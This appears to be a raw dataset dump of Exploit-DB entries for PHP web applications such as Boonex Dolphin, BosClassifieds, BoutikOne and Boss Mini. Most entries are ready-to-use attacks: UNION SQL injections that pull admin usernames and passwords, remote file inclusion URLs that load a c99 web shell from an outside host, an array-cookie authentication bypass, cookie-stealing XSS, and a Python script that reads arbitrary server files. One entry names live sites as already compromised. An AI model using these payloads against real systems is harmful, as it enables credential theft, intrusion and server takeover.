deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11402
Description: Books/eBooks Rental Software - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: Don Tukulesto

Exploit:
/**************************************************************************

[!] Books/eBooks Rental Software SQL injection Vulnerability
[!] Author	: Don Tukulesto (root@indonesiancoder.com)
[!] Homepage	: http://www.indonesiancoder.com
[!] Date & Time	: Thu Feb 10, 2010 5:55 PM
[!] Rock On	: http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.commodityrentals.com/
[+] This script is specifically tailored for people wanting to start a Books/E-Books Rentals Business within a very short time.
    Fully E-Commerce ready, this system comes with a Books attribute template and a fully customizable "look and feel" template of the site.
[+] Method : SQL Injection
[+] Dork : Don Tukulesto

===========================================================================

[ Proof of Concept ]

http://server/index.php?view=gamecatalog&cat_id=[INDONESIAN CODER NOT DEAD WITHOUT YOU]

[ EXPL0!T ]

2+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3+from+rental_admin--

[ D3M0 ]

http://server/index.php?view=gamecatalog&cat_id=2+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3+from+rental_admin--

===========================================================================

[ Remember the Name ]

[>] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown - SurabayaHackerLink
[>] kaMtiEz ~ M3NW5 ~ M364TR0N ~ Gonzhack ~ CYB3R_TR0N ~ DEESSAINT ~ ran ~ Arianom ~ Contrex
[>] Jack- ~ Yadoy666 ~ s4va ~ senot ~ Bayu5154 ~ VYC0D ~ Tucker ~ Ian Petrucii ~ Ronz & FeeLCoMz
[>] kecemplungkalen ~ DraCoola Multimedia ~ XNITRO ~ rey_cute ~ Awan Bejat ~ Plaque ~ Gh4mb4s
[>] Pathloader ~ tiw0L ~ Mboys ~ cimpli ~ d0ntcry ~ mbamboenk family ~ YOU !!!

[ rm -rf yourself ] 

[>] FOR MALINGSIAL


[ some quotes ]

For FAKE Don Tukulesto on Facebook : http://www.facebook.com/profile.php?id=[PII_REDACTED]7147
I know you don't like me, but do u know what ? YOU ARE A LOSER. lmao
Exploit-DB #17943
Description: BOOKSolved 1.2.2 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2011-10-08
Author: bd0rk

Exploit:
...BOOKSolved 1.2.2 (l) Remote File Disclosure Vulnerability

...Discovered by bd0rk

...Contact: bd0rk[at]hackermail.com or follow me on twitter

...Greetz: inj3ct0r-Team, x0r_32, Perle, Siber King 

...Tested on: Ubuntu-Linux

...MEZ-Time: 08:17

...Vendor: http://www.usolved.net/

...Download: http://www.usolved.net/scripts/booksolved_v1.2.2.zip

----------------------------------------------------------------------------

PoC: http://[targethost]/[path]/inc/gbook_setcookie.php?l=../../R3adIn.php

----------------------------------------------------------------------------

Description: Found vulnerable code in gbook_setcookie.php line 7.
             So an attacker can read in sensitive files about l-parameter.


bd0rk's-Fixtip: Percolate the l-parameter before $_GET 



Greetings from Germany, the 22 years old bd0rk.
Exploit-DB #29097
Description: Boonex 2.0 Dolphin - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-20
Author: S.W.A.T.

Exploit:
source: https://www.securityfocus.com/bid/21182/info

Dolphin is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Dolphin 5.1.0 and prior versions are vulnerable to this issue.

http://www.example.com[target]/[Path]/inc/design.inc.php?dir[inc]=http://www.example2.com
Exploit-DB #36244
Description: Boonex Dolphin 6.1 - 'get_list.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-19
Author: Yuri Goltsev

Exploit:
source: https://www.securityfocus.com/bid/50286/info

Boonex Dolphin is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Boonex Dolphin 6.1 is vulnerable; other versions may also be affected.

http://www.example.com/xml/get_list.php?dataType=ApplyChanges&iNumb=1&iIDcat=(select 1 from AdminMenu where 1=1 group by concat((select password from Admins),rand(0)|0) having min(0) )
Exploit-DB #6024
Description: Boonex Dolphin 6.1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-07-08
Author: RoMaNcYxHaCkEr

Exploit:
# Name Of Script : Dolphin PHP

# Version : 6.1.2

# Download From : http://heanet.dl.sourceforge.net/sourceforge/boonex-dolphin/Dolphin-v.6.1.2-Free.zip

# Found By : RoMaNcYxHaCkEr [ RoMaNTiC-TeaM ]

# My Home Page : WwW.4RxH.CoM [ We Will Be Back Soon ] & Tryag.cc/cc [ Member From Tryag Forum ]

# Type Of Exploit : RFI In Multiple Files

# Introduce : Some Of Modules Is Infected And Some In Pulgins You Will See Below

# POC : 

http://WwW.4RxH.CoM/Dolphin-v.6.1.2-Free/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Dolphin-v.6.1.2-Free/plugins/safehtml/safehtml.php?dir[plugins]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Dolphin-v.6.1.2-Free/ray/modules/global/inc/content.inc.php?sIncPath=http://rxh.freehostia.com/shells/c99in.txt?

# Also We See RFI In Different Files But .htaccess Is Deny All Files In Some Path

# Greet To : Tryag TeaM ,Injector TeaM ,Unknown Hacker , aLwHeD

# Note : No One Perfect  :) 

# rXh

# bEST wISHES

# milw0rm.com [2008-07-08]
Exploit-DB #40631
Description: Boonex Dolphin 7.3.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2016-10-26
Author: Saadi Siddiqui

Exploit:
# Exploit Title     : Boonex Dolphin all versoin <= 7.3 Authentication Bypass
# Exploit Author    : Saadat Ullah saadi_linux[@]rocketmail.com
# Software Link     : https://www.boonex.com
# Author HomePage   : http://security-geeks.blogspot.com
 

Proof of Concept

File: admin.inc.php
Line: 187
Code: (strcmp($aProfile['Password'], $passwd) != 0)
 
$passwd is equal to Cookie parameter memberpassword
 
Bug:
According to PHP documentation strcmp will compare strings, but what if we provide an array???
 
So, simple bypass is to put two cookies in browser
memberID=1
memberPassword[]=blah --->array
 
This will allow the attacker to bypass the authentication and can also enter in admin panel.
 
#Independent Pakistani Security Researcher
Exploit-DB #49670
Description: Boonex Dolphin 7.4.2 - 'width' Stored XSS
Type: webapps
Platform: php
Date: 2021-03-19
Author: Piyush Patil

Exploit:
# Exploit Title: Boonex Dolphin 7.4.2 - 'width' Stored XSS
# Date: 18-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.boonex.com/
# Software Link: https://www.boonex.com/downloads
# Version: 7.4.2
# Tested on: Windows 10

# Reference - https://github.com/xoffense/POC/blob/main/Boonex%20Dolphin%20CMS%207.4.2%20%20stored%20XSS

Steps to Reproduce Bug:
1- Login to Admin Panel
2- Goto "Builders" => "Pages Builder"
3- Select any page
4- Turn on Burp Suite Intercept and Change "other pages width" to "1081px</script><script>alert(document.cookie)</script>"
Exploit-DB #6028
Description: BoonEx Ray 3.5 - 'sIncPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-08
Author: RoMaNcYxHaCkEr

Exploit:
# Name Of Script : Ray

# Version : 3.5

# Download From : http://get.boonex.com/Ray-v.3.5-Suite-Free

# Found By : RoMaNcYxHaCkEr [ RoMaNTiC-TeaM ]

# My Home Page : WwW.4RxH.CoM [ We Will Be Back Soon ] & Tryag.cc/cc [ Member From Tryag Forum ]

# Type Of Exploit : RFI

# POC : 

http://WwW.4RxH.CoM/ray.3.5/modules/global/inc/content.inc.php?sIncPath=http://rxh.freehostia.com/shells/c99in.txt?

# Greet To : Tryag TeaM ,Injector TeaM ,Unknown Hacker , aLwHeD

# Note : No One Perfect  :) 

# rXh

# bEST wISHES

# milw0rm.com [2008-07-08]
Exploit-DB #46590
Description: Bootstrapy CMS - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2019-03-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Bootstrapy CMS - Multiple SQL Injection
# Date: 21.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: http://bootstrapy.com
# Demo Site: http://bootstrapy.net/demo/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/modules/forums/forum-thread.php
Vulnerable Parameter: thread_id (POST)
Attack Patten:
search=&thread_id=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/modules/pages/contact-submit.php
Vulnerable Parameter: subject (POST)
Attack Pattern:
email=sample%40email.tst&message=20&name=wUmrLVWz&subject=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z&submit=

----- PoC 3 - SQLi -----

Request: http://localhost/[PATH]/modules/forums/post-new-submit.php
Vulnerable Parameter: post-id
Attack Pattern:
body=1&post-id=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z&quote=1&submit=&thread-id=1

----- PoC 4 - SQLi -----

Request: http://localhost/[PATH]/modules/forums/post-new-submit.php
Vulnerable Parameter: thread-id (POST)
Attack Pattern:
quote=0&reply=1&submit=&thread-id=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z
Exploit-DB #6962
Description: BosClassifieds - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-03
Author: ZoRLu

Exploit:
[~] Powered by BosClassifieds remote sql inj
[~]
[~] index.php (catid_id)
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 03.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss yuzden nete ara verebilirim : (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/index.php?cat_id=[SQL]

[SQL]=

-9999+union+select+concat(username,0x3a,password)+from+bosdevUUS--

example 1: ( you must look title )

http://myvaldosta.com/bosclass/index.php?cat_id=-9999+union+select+concat(username,0x3a,password)+from+bosdevUUS--

( bunu ben hackledim canIm sIkILIyodu : ) anasayfayI kontrol edin http://myvaldosta.com )

example 2: ( you must look title )

http://wikiventa.com/index.php?cat_id=-9999+union+select+concat(username,0x3a,password)+from+bosdevUUS--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-03]
Exploit-DB #33451
Description: BosClassifieds 1.20 - 'recent.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37555/info

BosClassifieds is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BosClassifieds 1.20 is vulnerable; other versions may also be affected.

http://www.example.com/sm-bc120/recent.php?type=<ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/sm-bc120/recent.php?type=<img+src=http://www.example.org/matrix.jpg+onload=alert[PII_REDACTED]60)>
Exploit-DB #5444
Description: BosClassifieds 3.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-14
Author: SoSo H H

Exploit:
##############################################################################
##                                  !R4Q!4N H4CK3R
##
##  BosClassifieds 3.0 Remote Sql injection Exploit
##
##  By:SoSo H H(Iraqi-Cracker)
##
##  Script website:http://www.bosdev.com
##
##  Dork:"Powered by BosClassifieds Classified Ads System"
##
##############################################################################
## Affected Versoions:
## 
## BosClassifieds 3.0 ( Other Versions Maybe Affected, Not Sure  :)  )
##
##############################################################################
##
## Expl0it:
##
## site.c0m/bosclassifieds/index.php?cat=[SQL]
##
## Example:
##
## SQL:-666 union select 1,2,concat(username,password)from bosdevUUS/*
##
##############################################################################
## Greetz:My Sweet :X,El Mariachi,L!0N,-=Mizo=-,Shadow Administrator
##       Mini-Spider,and all My Friends.
##
##############################################################################

# milw0rm.com [2008-04-14]
Exploit-DB #28289
Description: Bosdates 3.x/4.0 - 'Payment.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-27
Author: admin@jaascois.com

Exploit:
source: https://www.securityfocus.com/bid/19191/info

Bosdates is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/calendar/payment.php?insPath=[evil_script]
Exploit-DB #26651
Description: BosDates 4.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15632/info

BosDates is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 4.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/calendar.phptype=day&calendar=&category=&day=25&month=11&year=[SQL]

http://www.example.com/calendar.php?type=day&calendar=
&category=[SQL]
Exploit-DB #23685
Description: BosDev BosDates 3.x - SQL Injection
Type: webapps
Platform: php
Date: 2004-02-11
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9639/info

An SQL injection vulnerability has been reported to affect BosDates calendar system. The issue arises due to insufficient sanitization of user supplied data. As a result of this issue an attacker could modify the logic and structure of database queries. Other attacks may also be possible, such as gaining access to sensitive information.

http://www.example.com/directory/calendar_download.php?calendar=[query]
Exploit-DB #5446
Description: BosNews 4.0 - 'article' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-14
Author: Crackers_Child

Exploit:
##############################################################################
##                                  By Crackers_Child
##                                 cashr00t@hotmail.com
##
##  BosNews v4.0 Remote Sql injection Exploit
##
##  Script website:http://www.bosdev.com
##
##  Exploit : " site.com/path/news.php?news=more&article=248+union%20select%200,1,username,password,4%20from%20bosdevUUS/*
##############################################################################

# milw0rm.com [2008-04-14]
Exploit-DB #51848
Description: Boss Mini 1.4.0 - local file inclusion
Type: webapps
Platform: php
Date: 2024-03-03
Author: nltt0

Exploit:
# Exploit Title: Boss Mini 1.4.0 - local file inclusion
# Date: 07/12/2023
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# CVE: CVE-2023-3643


'''
 _____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
 \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                           |___/                  

'''

from requests import post 
from urllib.parse import quote
from argparse import ArgumentParser

try:
    parser = ArgumentParser(description='Local file inclusion [Boss Mini]')
    parser.add_argument('--domain', required=True, help='Application domain')
    parser.add_argument('--file', required=True, help='Local file')

    args = parser.parse_args()
    host = args.domain
    file = args.file
    url = '{}/boss/servlet/document'.format(host)
    file2 = quote(file, safe='')

    headers = {
        'Host': host,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',
        'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)
    }


    data = {
        'path': file2
    }

    try:
        req = post(url, headers=headers, data=data, verify=False)
        if req.status_code == 200:
            print(req.text)

    except Exception as e:
        print('Error in {}'.format(e))   
       

except Exception as e:
    print('Error in {}'.format(e))
Exploit-DB #35451
Description: BoutikOne - 'categorie.php?path' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info

Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/categories.php?path=[sqli]
Exploit-DB #16281
Description: BoutikOne - 'description.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-05
Author: IRAQ_JAGUAR

Exploit:
	_____  _________           ________        ____________                _____    ________         ________    _____     _____     ________      _________
   |     ||    __    \        / ______ \      /            \              |     |  / ______ \       / _______ \ |     |   |     |   / ______ \    |    __    \
   |_____||   |   \   \      / /      \ \    /              \             |_____| / /      \ \     / /       | ||_____|   |_____|  / /      \ \   |   |   \   \
	|   | |   |___/   /     / /   __   \ \  |      ___       |             |   | / /   __   \ \   / /        | | |   |     |   |  / /   __   \ \  |   |___/   /
    |   | |__________/     / /   |  |   \ \ |     |   |      |             |   |/ /   |  |   \ \ / /             |   |     |   | / /   |  |   \ \ |__________/ 
	|   | |  |    \  \    | |    |__|    | ||     |___|      |        ___  |   || |   |__|     | | |       ____  |   |     |   || |    |__|    | ||  |    \  \
	|   | |  |     \  \   | |____________| ||                |       |   | |   || |____________| | |      | || | |   |     |   || |____________| ||  |     \  \
	|___| |  |      \  \  | | IRAQ_JAGUAR| | \              QQ       |   |_|   || | IRAQ_JAGUAR| | |      |_|| | |   |     |   || | IRAQ_JAGUAR| ||  |      \  \
   |     ||  |       \  \ | |            | |  \____________/ QQ       \ JAGUAR || |            | | \________/  |  \   \____/  / | |            | ||  |       \  \
   |_____||__|        \__\|_|            |_|    IRAQ_JAGUAR   QQ______ \_______||_|            |_|_____________|   \_________/  |_|            |_||__|        \__\
   
#--------------------------------------------------------
#BoutikOne®  (description.php)  Sql Injection Vulnerability
#--------------------------------------------------------
#Date 05-03-2011
#
#--------------------------------------------------------
#Discovered By: IRAQ_JAGUAR
#
#
#Mail: iraq_jaguar@yahoo.com       
#-------------------------------------------------------
#
#Script:   BoutikOne®
#
#Script Home Page:  http://www.boutikone.com
#
#--------------------------------------------------------
#Poc/Exploit:
#
#
#http://www.target.com/[path]/description.php?id=1'
#
#
#
#Greetz To : White Devil , Fady Falah , Sec-Mind , Joker Sql  , ALL IRAQIZ HACKERZ
------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit-DB #35452
Description: BoutikOne - 'list.php?path' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info
 
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
http://www.example.com/list.php?path=[sqli]
Exploit-DB #35455
Description: BoutikOne - 'rss_flash.php?lang' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info
    
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
    
http://www.example.com/rss/rss_flash.php?lang=[sqli]
Exploit-DB #35454
Description: BoutikOne - 'rss_news.php?lang' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info
   
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
http://www.example.com/rss/rss_news.php?lang=[sqli]
Exploit-DB #35456
Description: BoutikOne - 'rss_promo.php?lang' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info
     
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
     
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
     
http://www.example.com/rss/rss_promo.php?lang=[sqli]
Exploit-DB #35457
Description: BoutikOne - 'rss_top10.php?lang' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info
      
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
      
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
      
http://www.example.com/rss/rss_top10.php?lang=[sqli]